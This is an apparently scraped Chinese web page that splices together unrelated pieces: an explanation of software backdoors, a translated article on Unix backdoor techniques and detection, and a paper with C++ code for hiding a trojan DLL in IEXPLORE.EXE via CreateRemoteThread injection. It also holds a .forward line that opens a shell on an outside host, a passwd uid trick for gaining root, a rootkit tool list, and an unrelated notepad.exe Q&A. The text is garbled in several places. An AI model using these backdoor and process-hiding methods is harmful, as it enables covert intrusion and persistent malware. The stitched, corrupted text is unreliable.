
解析:
当一个训练有素的程序员设计一个功能较复杂的软件时,都习惯于先将整个软件分割为若干模块,然后再对各模块单独设计、调试,而后门则是一个模块的秘密入口。在程序开发期间,后门的存在是为了便于测试、更改和增强模块的功能。当然,程序员一般不会把后门记入软件的说明文档,因此用户通常无法了解后门的存在。
/按照正常 *** 作程序,在软件交付用户之前,程序员应该去掉软件模块中的后门,但是,由于程序员的疏忽,或者故意将其留在程序中以便日后可以对此程序进行隐蔽的访问,方便测试或维护已完成的程序等种种原因,实际上并未去掉。
这样,后门就可能被程序的作者所秘密使用,也可能被少数别有用心的人用穷举搜索法发现利用。
cache.baidu/c?word=%CA%B2%C3%B4%3B%CA%C7%3B%BA%F3%C3%C5&url=%3A%2Exiaom%2E/Article%5Fshow%2Easp%3FArticleID%3D4777&b=0&a=29&user=baidu
什么是后门?
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.
大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意的后门.
密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.
Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管
理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.
校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依*时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.
Login后门
在Unix里,login程序通常用来对tel来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.
Teld后门
当用户tel到系统, 监听端口的id服务接受连接随后递给in.teld,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.teld.在in.teld内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产
生一个shell .
服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至id等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□?ucp这样不用的服务,或者被加入id.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验.
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门.
库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行.静态连接程序不会使用trojan共享库.
内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的
管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.
Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序 (sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使
"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门例子是amod.tar.gz :
star.niimm.spb.su/~maillist/bugtraq.1/0777
也可以修改内核隐匿进程.
Rootkit
最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ether sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - bee root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified stat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.
TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用stat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以stat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.
ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用 WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了tel守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Neork Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :(
解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute for
diligent attention. 此句该如何翻译? :( )
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing mands into the .forward file was also
a mon method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most monly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary mands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a panies
mailhub (assuming there is a shared a home directory FS on
&nbs>
the client and server).
>Using *** rsh can effectively negate this backdoor (although it's quite
>possibly still a problem if you allow things like elm's filter or
>procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'的.forward可能设置如下:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).>利用 *** rsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail>类程序, 很有可能还有问题 ......)
( 此段的内容理解不深, 故付上英文, 请指教! )
---------------------------------------------------------------------------
你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
摘要 进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库 方法 ,较好地解决了这一 问题 ,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。
关键字进程 线程 木马 动态链接库
木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文 分析 了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。
1 基本原理
在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断 发展 ,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
2 实现方法
为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
运行DLL方法有多种,但其中最隐蔽的.方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。 理论 上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行 *** 作的,但是实际上,我们仍然可以利用种种方法进入并 *** 作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
3 实施步骤
1) 用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
OpenProcess()函数打开宿主进程。
2) 用VirtualAllocEx()函数分配远程进程地址空间中的内存。
3) 用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4) 拷贝到步骤二已经分配的内存中。
5) 用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
6) 用CreateRemoteThread()函数在远程进程中创建一个线程。
7) 它调用正确的LoadlibraryA()函数。
8) 为它传递步骤二中分配的内存地址。
4 具体实例
下面是在C++Builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
#include
#include
#include
#include//该头文件包涵了进程 *** 作的API函数
#pragma hdrstop
#include "Unit1.h"
#pragma package(smart_init)
#pragma resource "*.dfm"
Insisting pszLibFileName//存放待隐藏的DLL文件名
HANDLE hProcessSnap=NULL//进程快照句柄
HANDLE hRemoteProcess//远程进程句柄
LPVOID pszLibFileRemote//远程进程中分配给文件名的空间
HMODULE phmd//存放kernel32.dll句柄
HANDLE hRemoteThread1=NULL//存放远程线程句柄
TForm1 *Form1
//---------------------------------------------------------
__fast call TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
PROCESSENTRY32 pe32={0}
DWORD dwRemoteProcessId
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0)
//打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK)
exit(0)
} //失败返回
pe32.dwSize=sizeof(PROCESSENTRY32)
if(Process32First(hProcessSnap,&pe32)) //获取第一个进程
{
do{
AnsiString te
te=pe32.szExeFile
if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))
//找到宿主进程,以IEXPLORE.EXE为例
{ dwRemoteProcessId=pe32.th32ProcessID
break
}
}
while(Process32Next(hProcessSnap,&pe32))//获取下一个进程
}
else
{
MessageBox(NULL,"取第一个进程失败","",MB_OK)
exit(0)
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId)
//打开远程进程
pszLibFileName=GetCurrentDir()+""+"hide.dll"
// 假设hide.dll是待隐藏的进程
int cb=(1+pszLibFileName.Length())*sizeof(char)// 计算 dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE)
//申请存放文件名的空间
BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL)
//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32.dll")
LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA")
//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL)
//创建远程线程
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1)//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap)//关闭进程快照
}
该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:
#include
#include
#pragma hdrstop
#pragma argsused
BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
char szProcessId[64]
switch(reason)
{
case DLL_PROCESS_ATTACH:
{//获取当前进程ID
itoa(GetCurrentProcessId(),szProcessId,10)
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK)
break
}
default:
}
return TRUE
}
当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLLd出了1208字样的确认框,同时使用PS工具
也能看到:
Process ID: 1208
C:WINNTIEXPLORE.EXE (0x00400000)
……
C:WINNThide.dll (0x100000000)
……
这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5 结束语
进程隐藏技术和 方法 有很多,而且这一技术 发展 也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供 参考 ,本文抛砖引玉,不当之处诚恳批评指正。
参考 文献
1 Jeffrey Richter著 王建华、张焕生、侯丽坤等译 Windows核心编程 机械 工业 出版社2
K.赖斯多夫 H. 亨德森著 希望图书创作室译 Borland C++ Builder 实用培训教程.
分类: 电脑/网络 >>反病毒问题描述:
我最近每次开机时都可以在Windows任务管理器里见到一个叫做
Notepad.exe的进程。记事本窗口不出现,只是个后台程序而已。怀疑是后门程序,于是便中止它,可以被终止。用Windows优化大师来查也只是个普通的记事本而已。可每次开机都终止太麻烦,msconfig也找不到它的踪影。这东西到底是敌是友?怎样摆脱它?望高手赐教一下!
解析:
这个是记事本的进程,你运行点击开始菜单 运行 MSCONFIG 在启动项关掉它就可以了!!!如果不行可以到网上找一些关于修改注册表的修改一下,要是觉得麻烦,直接重装吧!!!
记事本不是system32文件夹下的哦,是在windows文件夹里的
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)